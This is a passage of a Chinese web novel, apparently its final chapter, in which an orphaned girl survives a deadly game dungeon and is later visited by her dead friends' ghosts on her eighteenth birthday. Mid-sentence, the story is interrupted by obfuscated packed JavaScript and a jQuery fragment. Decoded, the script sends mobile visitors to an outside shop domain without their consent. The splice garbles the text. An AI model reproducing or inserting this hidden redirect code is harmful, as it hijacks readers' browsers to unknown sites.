月光在窗台边沿铺开一层均匀的银白色光泽，把那盆绿萝的叶片边缘照出一层薄薄的亮光。窗台上那把刀依然横放着，刀刃泛着一道细长的冷光。那朵七色花依然放在窗台上，三片花瓣在月光下泛着细碎的光点，边缘在光线下透出一层持续的微光，像一封正在等待被重新取出的信，在夜色中持续地亮着。林安诚蹲在地上，脸埋在膝盖里，肩膀的抖动正在逐渐平复。她的呼吸在安静的房间中逐渐恢复平稳，从急促的喘息变成更长的、更均匀的节拍。
她站起来，走向窗台边沿，伸手碰了一下那朵七色花，然后轻轻握住了它。那片最深色的紫色花瓣——从她指间脱落了，边缘微微卷曲，在空中翻转了一圈，然后落在地面上，裂成了碎片。她开口说了一句，声音不高不低，像在念一封已经被打开过的信：“第七个愿望。让这一切结束。”她没有说“让他们回来”，也没有说“让我消失”，她只是说——“让这一切结束。”最后一朵花瓣从她指间脱落，边缘微微卷曲，在空中翻转了一圈，然后落在地面上，裂成了碎片。七色花的茎在她手中迅速干枯，从绿色变成褐色，然后碎裂成细小的粉末，沿着她指缝的间隙滑落，被风吹散，在月光下像一层正在被扬起的细沙。
月光在窗台边沿持续地亮着，那把刀依然横放在窗台上，刀刃泛着一道细长的冷光。那盆绿萝的叶片边缘凝着一层细小的露珠，在月光下泛着一层薄薄的亮光。林安诚站在窗台前，目光落在那把刀上，她没有伸手去碰它。她只是站在那里，像一个已经读完了全部内容的人。她靠着窗台边沿坐了下来，坐在他曾经坐过的位置上，背靠着墙壁，把灰兔子抱进怀里，把脸埋进灰兔子的绒毛里，闭上眼睛，像一枚正在等待被重新取出的信，在月光下持续地亮着，等着下一个需要它的人沿着河床走到柳树前，停下来，看到铁丝，然后沿着它指示的方向，继续向前走。
月光在窗台边沿铺开最后一层银白色光泽，然后缓慢地退去了。窗台上的那把刀依然横放着，刀刃泛着一道细长的冷光，像一封已经被完整读完了全部内容的信，正在等着被放回信封里。那盆绿萝的叶片边缘凝着的露珠在月光退去后重新变得透明，在窗台边沿形成一道细长的水痕，沿着叶脉的方向缓缓滑落，在窗台面上留下一道细长的深色痕迹。
林安诚坐在窗台边沿，靠着墙壁，灰兔子抱在怀里，脸埋在绒毛里，呼吸平稳而绵长。夜风从窗户缝隙渗进来，把灰兔子耳朵边缘的绒毛吹动了一下。她伸手把绒毛按平，没有抬头。铁丝依然插在柳树根部的泥土里，在月光退去后的晨光中泛着一层浅金色的光泽，边缘的露珠已经蒸发了大半，只剩下几颗较大的水珠还挂在铁丝表面，在晨光中泛着一层细碎的亮光。
那把刀依然横放在窗台上，像一枚已经被封好口的信，正在等着被放回信封里。灰兔子依然抱在她怀里，耳朵边缘的绒毛被夜风轻轻吹动了一下，她在灰兔子的绒毛里依然没有抬起头来。风吹过城中村的屋顶，穿过老槐树的枝条，沿着河床的方向持续地延伸着，把那根铁丝表面的露珠吹落了一颗，滴落在柳树根部的泥土里，在晨光中洇开一小片深色的湿痕。
所有的一切，到此为止。
系统播报的声音从房间上方某个看不见的位置传下来，被压缩成一层均匀的、像被反复过滤过的声波，边缘已经被磨得有些发白了：“副本已结束。所有玩家将在三分钟内被传送回现实锚点。请注意：所有在副本内死亡的玩家，在返回现实后将被记录为意外死亡。系统无法修改此规则。”
林安诚站在窗台边沿，那朵七色花已经彻底消失了，窗台上只剩那把刀，刀刃泛着一道细长的冷光。窗台上那盆绿萝的叶片边缘凝着一层细小的露珠，在晨光中泛着一层薄薄的亮光，像一封已经被完整读完了全部内容的信，正在等着被放回信封里。她没有被传送到任何一个熟悉的位置。她站在一栋老旧的居民楼门口，周围是灰白色的天光，空气中带着灰尘和潮湿的气息。她的脚边放着一只灰兔子布偶，耳朵的边缘已经有些磨白了，绒毛在晨光中泛着一层细碎的亮光。
她弯腰捡起那只灰兔子，把它抱在怀里，沿着街道走回城中村，沿着楼道走上四楼，走到那扇门前。门没有锁，她推开门走进去——房间里空无一人。窗台上那盆绿萝还在，那把刀还在。床上的被子还保持着谢意离开时的形状，像一封已经被拆开的信。那把刀依然横放在窗台上，刀刃泛着一道细长的冷光。她走过去，把那把刀拿起来，放进了抽屉里，然后关上抽屉，在窗台边沿坐下来，把灰兔子抱在怀里，靠着墙壁坐着，像一枚正在等待被重新取出的信。她的目光落在窗外，像在等一封永远不会被回执确认的信，在晨光中持续地亮着。
第二天早上天亮的时候，阳光从窗户外面照进来，在窗台上铺开一层暖金色的光泽。那盆绿萝的叶片在晨光中舒展开来，边缘泛着一层细碎的亮光。林安诚坐在窗台边沿，靠着墙壁，灰兔子抱在怀里。她没有换衣服，没有洗脸，没有去碰那把已经收进抽屉里的刀。她只是坐在那里，在晨光中持续地亮着，像一枚正在等待被重新取出的信。敲门声响起来了。先是两下，停了片刻，又是两下，不重，但也不轻。林安诚站起来，走到门口，伸手握住门把手，打开了门。
门外站着三个警察，两女一男，穿着深蓝色的制服，帽檐压得很低。其中一个年轻的女警官蹲下来，和她平视：“你是林安诚吗？”林安诚看着她，在晨光中泛着一层细碎的亮光：“是。”
“我们接到通知——这栋楼里发生了多起事故。我们需要向你了解一下情况。你一个人住在这里吗？”林安诚看着她，像在阅读一封已经被打开过的信：“我一个人住。”
那个女警官看了她一会儿，她的目光在她抱着的灰兔子上停了一下：“你还有没有其他家人？”
“没有了。”
“那你愿意跟我们回一趟派出所，办理一下相关手续吗？我们会帮你申请孤儿证。以后有什么需要帮助的，可以随时联系我们。”林安诚站在原地，在晨光中泛着一层细碎的亮光。她开口说了一句：“我一个人可以的。”
女警官看着她，没有立刻反驳。她蹲在原地，像在阅读一封已经被折叠过很多次的信：“我知道你觉得自己可以。但你现在还小，很多事情一个人处理起来会很累。如果你愿意，我们可以先帮你把手续办下来。以后如果你需要帮助，随时可以来找我们。你想好了吗？”
林安诚抱着灰兔子，站在门口，晨光在她身后铺开一层均匀的暖金色光泽。她的目光落在门框边缘那道被阳光照亮的旧漆面上，像在确认一封信是否已经被正确封口。
“想好了。”
户籍大厅的光线是那种均匀的冷白色，从天花板上的灯管铺下来，在地砖上形成一层没有阴影的亮光。柜台前排着几列队伍，有人在填表，有人低头看手机。林安诚站在门口，抱着灰兔子。她走进大厅，找到一个空着的窗口，踮起脚，把一叠纸放在台面上。
窗口后面的工作人员是一个三十多岁的女人，穿着深蓝色的制服，抬起头看了她一眼：“你一个人来吗？小朋友，你是走丢了吗？”林安诚站在柜台前面，踮起脚，把那叠纸往台面上又推了一点：“不是的。我来办理孤儿证。”
工作人员低下头，拿起那叠纸翻了几页。她的目光在纸面上停了一下，翻到第二页，又翻到第三页。她的手指沿着纸页边缘慢慢摸过一遍，像在确认一封信是否已经被正确封口：“这些都是……你家人？”林安诚说：“对。都死了。”工作人员放下纸页，隔着柜台看着她，像在阅读一封已经被打开过的信：“你一个人来办这个，没有大人陪你吗？”
“没有。我一个人可以的。”
工作人员在原地坐了一会儿，然后把那叠纸收拢起来，整理好，放在手边的文件夹里：“那你先坐一下，我去帮你把材料录入系统。”林安诚点了点头，抱着灰兔子走到等候区的长椅上坐下来。她坐在长椅一端，灰兔子横放在膝盖上，在冷白色的灯光下泛着一层浅灰色的光泽。她坐着，没有低头捋兔子耳朵，也没有去看周围的人群，只是靠进椅背里，像一封已经被完整读完了全部内容的信，正在等着被放回信封里。
过了一会儿，工作人员走回来了。她站在柜台后面，手里拿着一张表格：“你的材料已经录入完了。孤儿证会在七个工作日内办好，到时候会寄到你填的那个地址。”林安诚站起来，走到柜台前面，踮起脚：“谢谢。我一个人可以的。”她把灰兔子抱起来，转身朝门口走去。冷白色的光线在她身后持续地亮着，在她的背影上铺开一层没有阴影的亮光，像一封正在等待被重新取出的信。
她推开门，走了出去。
学校的光线是那种均匀的冷白色，从天花板上的灯管铺下来，在走廊的地砖上形成一层没有阴影的亮光。林安诚走在走廊里，书包带子挂在一边肩膀上，灰兔子被她放在书包侧面的网袋里，耳朵的边缘在冷白色的光线下泛着一层浅灰色的光泽。她走到教室门口，推开门走了进去。教室里的光线和走廊里一样，白炽灯管持续地亮着，把每一个人的轮廓都照得清晰，毫无保留。几个围在一起的学生没有抬头，其中一个压低了声音说：“听说她家的人全部死了。”
“好悲惨啊，也不知道是不是故意的。”
“你们别说，小心你们也出意外。”语气听起来像在讲一个已经被讲了很多次的笑话。
“一个孤儿可以上到高中，谁知道呢，你们没看见她那个像怪物一样的眼睛吗？好奇怪。”
林安诚走到自己的座位坐下来，把书包放在桌面上，把灰兔子从网袋里拿出来放在课桌角上。她翻开课本，没有看周围那些人的方向。她没有回复，也没有停顿。她只是翻开书，沿着书页上的字行把目光从第一行移到第二行，再到第三行，像一层被仔细折叠过的信纸，正在被重新展开。
她坐在座位上，在冷白色的光线中持续地亮着，像一封已经读完了全部内容的信。灰兔子放在课桌角上，耳朵的边缘在灯光下泛着一层浅灰色的光泽，像一枚正在等待被重新取出的信。放学的时候，她收拾好书包，把灰兔子放回网袋里，沿着走廊走出教学楼。她走着，灰兔子的耳朵在网袋边缘微微晃动着。她沿着街道走回城中村，沿着楼道走上四楼。她推开门，走进房间，没有开灯，抱着灰兔子在窗台边沿坐下来，像一枚正在等待被重新取出的信，在暮色中持续地亮着，等着下一个需要它的人沿着河床走到柳树前，停下来，看到铁丝，然后沿着它指示的方向，继续向前走。
十八岁生日那天，没有蛋糕，没有蜡烛，没有人在她面前说“生日快乐”。她坐在窗台边沿，窗台上那盆绿萝已经换了两次盆，叶片比几年前更密了
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17944231|210992||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
一些，边缘泛着一层深绿色的光泽。灰兔子依然放在她膝盖上，耳朵边缘的绒毛已经有些磨损了。她坐了很久，久到窗外的天光从灰白变成暖金，又从暖金变成暮色。然后她站起来，沿着楼道走了下去。
她沿着城中村的主街走了很久，穿过几条已经走过很多次的巷子，走回那栋老旧的居民楼，沿着楼道走上去，走到那扇门前。门没有锁，她推开门，走进去——那间石室还在。暮色从石室顶端的裂缝渗下来，在地面上铺开一层暗金色的光泽。她走到石头前面，没有坐下，只是站在石头边沿，看着中央那块被磨得光滑的石头表面。她站了很久，久到暮色退去、月光亮起。然后她转回身，沿着楼道走回地面，沿着主街走回城中村，沿着楼道走上四楼，推开门走进房间，在窗台边沿坐下来。
她把灰兔子放在窗台上，站起来，走进厨房，从抽屉里拿出一根蜡烛和一只火柴盒。她走回窗台前，把蜡烛立在窗台边沿，划亮火柴，点燃了蜡烛。火苗在她面前亮起来，在暮色中形成一小团暖黄色的光晕，在窗台边沿持续地亮着。她坐在窗台边沿，看着那根蜡烛烧了很久。然后她开口说了一句话，声音不高不低：“我一个人也可以的。”
蜡烛烧完之后，灰兔子依然放在窗台上。她把蜡烛的残迹收起来，把火柴盒放回抽屉里，然后把灰兔子重新抱进怀里。她在窗台边沿又坐了很久，暮色已经完全退去了，月光在窗台边沿铺开一层银白色的光泽。夜风从窗户缝隙渗进来，把她怀里灰兔子的绒毛吹动了一下，她把绒毛按平，没有抬起头来。
蜡烛熄灭的那一瞬间，烟还没有完全散尽。火苗最后跳动了一下，像在空气里画了一个句号，然后彻底熄灭了，只留下一缕细长的白烟，在月光下缓慢地上升，被从窗缝渗入的夜风揉散。林安诚抬起头。窗台边沿的光线在那一刻发生了变化——不是月光，是另一种暖色的光，像被黄昏浸泡过的旧信纸，从房间四个角落同时渗进来，把整个窗台连同那盆绿萝一起裹进一层均匀的、柔软的暖光里。
窗台边沿站着四个人。不是完整的轮廓，但每一个人的边缘都是清晰的。江野站在最左边，穿着他那件洗到发白的旧外套，头发乱糟糟地翘着，嘴角弯着，露出一颗虎牙。他的手插在外套口袋里，站姿和记忆中的一模一样。许清寒站在他旁边，浅棕色外套的领口翻得整整齐齐，手里没有拿书，只是安静地站着，浅棕色的眼睛在暖光里像两片被水浸透的秋叶。林昭站在右边，高马尾扎得很利落，双手抱在胸前，嘴角也弯着。谢意站在她旁边，没有往前靠。他穿着那件洗到发白的旧外套，头发垂下来遮住额角。
林安诚坐在窗台边沿，手里的火柴盒还没有放下。她看着那四个人，看着他们站在窗台边沿的轮廓，看着他们边缘那层被暖光包裹的轮廓。她开口说了一句，声音不高不低：“你们怎么来了？！你们不是都死了吗？！”
江野把手从口袋里抽出来，伸了个懒腰：“肯定是因为你呀！今天的小寿星，高考加油哦。”他说完之后，把手收回去，重新插回口袋里。
许清寒说：“高考加油。”
林昭说：“高考加油。”
谢意说：“高考加油。”
林安诚坐在窗台边沿，月光在她身后铺开一层均匀的银白色光泽。她的声音从喉咙里挤出来，不高，但比平时更薄一些，像一封已经被反复打开过的信：“你们都是假的。我知道你们是假的。每年这个时候都会出现，然后又消失。但……”她停了一下，然后说了一句，声音重新变回了平日的节奏，不高不低，像在陈述一件已经被确认过很多次的事情：“但是你们来了，我还是很高兴。”窗台边沿的暖光在持续地亮着。江野的轮廓在光线的边缘晃了一下，像一层正在被风吹动的旧布面：“我们也高兴。”
可以这样陪着你，看着你长大。
蜡烛的烟已经散尽了。窗台边沿的暖光正在一分一分地变淡，从暖金色退成浅金色，又从浅金色退成月光本身的银白色。那四个人的轮廓在光线消退的过程中逐渐变得稀薄，边缘像被水洗过的旧画，正在一层一层地剥落。
林安诚坐在窗台边沿，看着他们。
“明年还会来吗？”她问。
谢意站在窗台边沿，月光沿着他外套的肩头铺开一层薄薄的银白色光泽。他没有回答“会”或“不会”，只是说了一句：“你需要的时候，我们就在。”
江野伸了个懒腰：“行了，别哭。再哭我们就不来了。”
林昭依然抱着胳膊，嘴角弯着，没说话。
许清寒最后看了她一眼，没有说话，只是轻轻弯了一下嘴角，像是把一句已经说过很多次的话再次放在了那个位置。
暖光彻底退去了。窗台边沿重新只剩下月光和那盆绿萝。林安诚抱着灰兔子坐在窗台边沿，在月光下看着窗台上那根已经燃尽的蜡烛残迹，然后开口说了一句：“好。那明年见。”她把蜡烛的残迹收起来，把火柴盒放回抽屉里，把灰兔子抱进怀里，侧身躺下来，在窗台边沿蜷起身体。月光在她合拢的眼睑上铺开一层均匀的银白色光泽。窗台上那盆绿萝的叶片边缘凝着一层细小的露珠，像一封已经被重新封好口的信。
月光在窗台边沿持续地亮着，一直亮到天亮。
其实，真的没什么大不了的。
再见。家人。
-全文完-